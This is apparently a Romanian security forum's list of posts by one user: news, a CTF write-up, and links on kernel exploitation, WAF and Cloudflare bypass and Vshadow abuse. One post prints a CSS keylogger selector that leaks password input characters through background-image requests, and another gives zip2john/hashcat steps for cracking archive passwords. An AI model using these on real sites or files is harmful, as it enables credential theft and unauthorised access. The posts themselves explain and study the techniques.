Jump to content

u0m3

Active Members
  • Posts

    543
  • Joined

  • Last visited

  • Days Won

    25

Everything posted by u0m3

  1. Sincer, nu prea cred ca multumea cineva cuiva... Vezi ca le dai idei. In alta ordine de idei, cine a preluat (sau a scris/transcris) citatul de pe Maszol.ru (care e de fapt maszol.ro) a dat-o de gard grav, cu traducerea Zici ca e telefonul fara fir. Ce scrie pe http://securityaffairs.co/wordpress/70046/cyber-crime/raiffeisen-cyber-heist.html: Ce scrie pe http://www.maszol.ro/index.php/szajtato/93368-az-evszazad-rablasa-kifosztottak-egy-nagy-bank-romaniai-automatait: Ce ar trebui sa scrie: Sa nu mai aducem in discutie traducerea din Maghiara (presupun) in Engleza.
  2. Pacat ca pare a fi rezervata studentilor din Belgia.
  3. Python script to decode common encoded PowerShell scripts. Source: https://github.com/JohnLaTwC/PyPowerShellXray
  4. u0m3

    CSS Keylogger

    Ideea de baza este folosirea selectorilor CSS pe baza de valori pentru a face request-uri fictive de background-image, cam asa input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } Sursa: https://github.com/maxchehab/CSS-Keylogging
  5. In general, daca fisierul tau zip nu se numeste test.zip, e normal sa se planga ca nu il gaseste. Zic si eu.
  6. Daca este o arhiva zip normala, poti incerca zip2john (program utilitar din suita JohnTheRipper). Cam in felul acesta: zip2john test.zip > test.zip.hash Acum, daca ai noroc, poti folosi hashcat pentru a face partea de brute-force/dictionary-attack/etc folosind OpenCL/CUDA. Daca hash-ul este de forma test.zip:$pkzip2$1*2*2*0*1c*10*f30b8770*0*3e*0*1c*f30b*495b*14f1b9c5523b908446a836c0ee0f109fdf033eb16a8b360d528c3a4c*$/pkzip2$:::::test.zip (adica apare acel $pkzip2$) vei fi nevoit sa te multumesti cu performanta cpu. Cat despre IDA, ai incercat sa ii faci debgging in timp ce ruleaza, sa vezi cam ce si cum face?
  7. Synopsis: The specification tells parsers to be able to parse two encodings: UTF-8 and UTF-16. Many parsers support a little bit more, but for the demonstration these two are enough. In this article you will meet a variety of XML encodings, and learn how to bypass a WAF with them. WAFs see a white noise instead of the document! Link: https://mohemiv.com/all/evil-xml/ Via:
  8. Synopsis: Vshadow (vshadow.exe) is a command line utility for managing volume shadow copies. This tool is included within the Windows SDK and is signed by Microsoft. Vshadow has a lot of functionality, including the ability to execute scripts and invoke commands in support of volume shadow snapshot management. Not surprisingly, these capabilities can be abused for privileged-level evasion, persistence, and file extraction. Link: https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/ Via:
  9. Link direct: https://www.hex-rays.com/products/ida/support/download_freeware.shtml
  10. u0m3

    Fun stuff

    via https://twitter.com/tacticalmaid/status/957133117709475840/photo/1 via https://twitter.com/lambdaprog/status/957644038701756416
  11. Sincer, nu imi dau seama daca faci trolling sau nu... Cand accesezi un website, primesti automat toate cookie-urile aferente... Atunci cand webserver-ul iti trimite niste cookies, de fapt iti trimite header-ul http Set-Cookie in response. Toate accesarile urmatoare vor avea in request header-ul http Cookie cu acel/acele cookies primite la inceput (sau pe parcurs). Exemplu folosind https://httpbin.org/ Tot ce e prefixat cu * este legat de negocierea SSL. Tot ce e prefixat cu > este parte a request-ului. Tot ce e prefixat cu < este parte a response-ului. Restul e body-ul.
  12. Aceasta metoda are si dezavantaje majore in opinia mea: poti obtine controlul conturilor create in modul asta relativ usor.
  13. Domnul @Usr6 mi-a trasat sarcina sa scriu write-up-ul (modul in care am rezolvat problema). Asa ca hai sa incepem. Nivelul 0 Challenge-ul incepe cu o poza, jpeg: TheBodyguard.jpeg si cu un fisier script python (denumit de mine password_encoder.py) Mai intai analizam poza (eu am preferat binwalk) si observam ca are concatenat la sfarsit un fisier zip: Avand in vedere faptul ca avem si un script python ce pare sa codeze parola, putem presupune ca arhiva atasata este parolata. In mod normal binwalk incearca sa dezarhiveze/decomprime arhivele pe care le intalneste, dar in acest caz ne-ar incurca mai mult, asa ca vom rula binwalk --extract --carve TheBodyguard.jpg. Acum avem un dosar _TheBodyguard.jpg.extracted unde vom gasi un fisier 14757.zip (deoarece a fost gasit la offset-ul 0x14757). Daca vom incerca sa dezarhivam acest fisier zip, ne vom lovi de necesitatea unei parole. Nivelul 1 Acum vom analiza script-ul python, pentru a determina parola. La prima vedere pare cam complicat, asa ca vom incerca sa urmarim executia de la capat la inceput. Stim ca avem output-ul "You need this:201,203,165,195,165,191,205,187,181,191,173,187,173,187,193,199,", asa ca vom cauta codul ce genereaza aceasta linie; si il gasim pe ultimul rand al script-ului. Observam ca apeleaza functia enc2 cu avand ca prim parametru parola noastra, iar ca al 2-lea parametru rezultatul functiei enc2. Daca analizam corpul functiei enc2 observam ca aceasta functie concateneaza suma valorilor numerice a caracterelor de cele 2 string-uri primite ca parametrii (t1 si t2). Aici observam ca lungimea lui t1 trebuie sa fie mai mica sau egala cu lugimea lui t2. Altfel vom avea erori. Dar t2 este de fapt parola noastra codata cu enc1. Iar in enc1 observam ca facem ROT+3 (adica "a" devine "d", "b" devine "e", etc), doar daca este o litera mica; altfel sarim peste. Din datele de mai sus deducem ca parola este formata doar din litere mici, mai exact din 16 litere mici. Inarmati cu aceste date vom incerca o implementare in python (ipython mai exact): Mai intai extragem sumele de caractere ca un array de intregi (In [3] in ipython). Apoi generam toate sumele posibile ce pot rezulta din utilizarea functiei enc2 (ne intereseaza doar sumele ca valori numerice; argumentul functiei str din bucla for) si le stocam in dictionarul nostru (declarat in In [4]), impreuna cu literele aferente care au generat suma (o suma poate fi generata cu mai multe litere, cum poate fi observat in Out [8]). La sfarsit generam toate combinatiile posibile si obtinem 8 posibile parole, dar prima pare cea mai promitatoare. O utilizam si ne alegem cu un fisier prng, fara nici o extensie. Nivelul 2 Deoarece fisierul prng nu are nici o extensie, vom apela la utilitarul file pentru a identifica subiectul. Aflam ca este tot o arhiva de tip zip, asa ca il redenumim in prng.zip. In momentul in care incercam sa il dezarhivam, ne lovim de o parola si un indiciu sub forma altui script python: De aceasta data, scriptul se vrea un pseudo random number generator, ce isi genereaza seed-ul dintr-o structura python folosita pentru stocarea datei. Aceasta tip de date (named tuple) este strurata in felul urmator: pozitia 0: anul (accesabil si prin membrul tm_year) pozitia 1: luna (accesabil si prin membrul tm_mon) pozitia 2: ziua lunii (accesabil si prin membrul tm_day) pozitia 3: ora zile in format 24h (accesabil si prin membrul tm_hour) pozitia 4: minutele (accesabil si prin membrul tm_min) pozitia 5: secundele (accesabil si prin membrul tm_sec) pozitia 6: ziua saptamanii (accesabil si prin membrul tm_wday) pozitia 7: ziua din an (accesabil si prin membrul tm_yday) pozitia 8: decalajul aferent orei de vara (accesabil si prin membrul tm_isdst) Noi nu suntem interesati decat de pozitiile 0, 2, 3, 4, 5. Pe de alta parte, analizand functia password_gen, observam ca pozitiile pare din string-ul seed sunt pastrate (deci sunt cifre mereu) iar pozitiile impare sunt inlocuite cu litere din alfabet, aflate la pozitia respectiva (din punct de vedere lexicografic). De aici putem deduce ca parola noastra nu poate fi mai lunga de 27 de caractere (deoarece ultimul caracter poate fi o cifra). In continuare vom face niste supozitii legate de data folosita ca seed, si anume vom presupune ca este data crearii/modificarii fisierului din arhiva (sau foarte aproape). In fond si la urma urmei putem oricand sa facem brute-force pe parola cu un program asemanator John The Ripper, folosind ca masca pentru parola ?db?dc?df?dh?dj?dl?dn?dp?dr?dt?dv?dx?dz?d. Daca listam continutul arhivei (folosind unzip -l prng.zip) nu vom avea decat data, ora si minutele, nu si secundele. Ca atare vom face o listare mai completa a arhivei in speranta ca vom obtine o data completa, folosind comanda unzip -Z -l -v prng.zip: Inarmati cu aceste date, vom incerca un mic script python: Mai intai declaram o functie care va calcula acea variabila seed ce se afla la inceputul script-ului original, folosind un struct_time ca argument. Apoi copiem functia password_gen. In ultimul rand vom crea o variabila timestruct (de tip struct_time) ce va contine data fisierului, folosind functia strptime (adica vom aplica o functie de parsing pe string-ul cu data). Avand aceste detalii, apelam functia password_gen pentru a obtine seed-ul ce serveste ca parola. Din nefericire aceasta parola nu a functionat, dar putem presupune ca suntem pe aproape. Daca presupunem ca nu avem secundele corecte putem genera o lista de parole (unice) pentru fiecare secunda posibila: Incercand aceste variante, descoperim ca "2b1d3f2h" este parola potrivita, si obtimem un fisier ' .64'. Nivelul 3 Fisierul obtinut la pasul anterior nu pare prea darnic in a ne prezenta vre-un indiciu; utilitarul file nu ne poate spune decat ca avem de aface cu un fisier text ASCII cu terminatii de linie CRLF (adica Windows/DOS). La o analiza mai atenta, observam ca avem de aface cu un fisier cu mai multe linii, fiecare linie avand un numar diferit de spatii alble (caracterul ASCII 0x20). Din start am presupus ca avem de aface cu ceva base64 si ca numarul de spatii albe este relevant. Aici m-am blocat din cauza propriei prostii si neatentii, si am pierdut cam o saptamana (adica aproximativ 10 ore distribuite de-a lungul a 7 zile). Cand am inceput challange-ul, cel de-al 2-lea indiciu era deja postat. Asa ca m-am folosit de el. Indiciul decodat ne spune Inarmat cu aceste informatii, e timpul pentru niste experimente. Mai intai citim fisierul, si il spargem in linii de spatii si observam ca avem 12 linii. Acum sa vedem cate spatii albe avem pe fiecare linie (in poza In [5] si Out [6]). Deci nici un numar nu trece de valoarea 64, iar cum fisierul are extensia 64, indiciul a fost codat in base64 si ni s-a si precizat ca indiciul "este 2 indicii", probabil aceste numere sunt indecsii alfabetului base64. Construim o variabila (in poza este denumita alphabet la linia In [7]) in care vom stoca alfabetul base64 (vom folosi alfabetul clasic, A-Za-z0-9+/). Acum folosim sirul de numere de mai sus ca indecsi si... ne-am blocat. Obtinem S3+waDCjc4li, care decodat ne da urmatorul sir de bytes: Problema este extrem de simpla: noi avem niste lungimi de siruri de spatii albe, deci, pornesc de la 1, dar array-urile in python pornesc de la 0. Si asa am pierdul degeaba o saptamana, incercand tot felul de alfabete ezoterice, si cautand alte explicatii. Pana la urma l-am contactat pe @Usr6 care m-a trezit la realitate De indata ce corectam problema index-ului obtinem solutia.
  14. Uneori am senzatia ca "The Kims" au inceput sa-si "consume" propria "marfa"...
  15. Este o serie de articole ce descriu dezvoltarea exploit-urilor de kernel Windows, folosind HackSysExtremeVulnerableDriver pe Windows 7 32bit cat si Windows 7 64bit, dar si Windows 10. [Kernel Exploitation] 1: Setting up the environment [Kernel Exploitation] 2: Payloads [Kernel Exploitation] 3: Stack Buffer Overflow (Windows 7 x86/x64) [Kernel Exploitation] 4: Stack Buffer Overflow (SMEP Bypass) [Kernel Exploitation] 5: Integer Overflow [Kernel Exploitation] 6: NULL pointer dereference Sursa: https://twitter.com/abatchy17 (decizia de a scrie articolele: https://twitter.com/abatchy17/status/939572701345148928; anuntul primelor doua post-uri: https://twitter.com/abatchy17/status/948226589237559296
  16. Synopsis: In the past few weeks, I found that multiple websites using Cloudflare were misconfigured, and allowed an attacker to bypass any Cloudflare protection in place easily. Several of the companies behind these websites had more than 1 million users and were among the top companies of their market segment. Link: https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/ GitHub: https://github.com/christophetd/CloudFlair
  17. Ca sa nu mai deschid alt topic: Spectre is not a Bug, it is a Feature. Life... Lemons...
  18. TL;DR; Researchers warn of a new attack which can be carried out in less than 30 seconds and potentially affects millions of laptops globally. As Intel was rushing to roll out patches for Meltdown and Spectre vulnerabilities, security researchers have discovered a new critical security flaw in Intel hardware that could allow hackers to access corporate laptops remotely. Finnish cyber security firm F-Secure reported unsafe and misleading default behaviour within Intel Active Management Technology (AMT) that could allow an attacker to bypass login processes and take complete control over a user's device in less than 30 seconds. Link: https://thehackernews.com/2018/01/intel-amt-vulnerability.html Pe o nota personala, greu inceput de an pentru Intel. Multe "molii" iesite de la naftalina.
  19. Ce repede au facut curat dupa ce au fost denuntati... Ieri seara (sau nopate/dimineata) zicea @aelius pe discord ca pe site-ul antena3 are miner. Mai era configurat si idiotic: 16 threads, 90% utilizare.
  20. S-ar putea sa gasesti niste site-uri de trading prin care poti face asa ceva. Din cate am inteles https://www.etoro.com are optiunea asta, dar nu stiu daca trebuie sa ai cont "verificat" (adica sa le dai copie dupa buletin si dovada de adresa) sau nu. Dar sa ne intelegem, inseamna sa depozitezi fonduri pe platforma de trading, acolo schimbi pe BTC, iar daca le vrei in alt portofel decat cel de pe platforma, trebuie sa ii trimiti de acolo. Si toate aceste tranzactii implica taxele aferente.
×
×
  • Create New...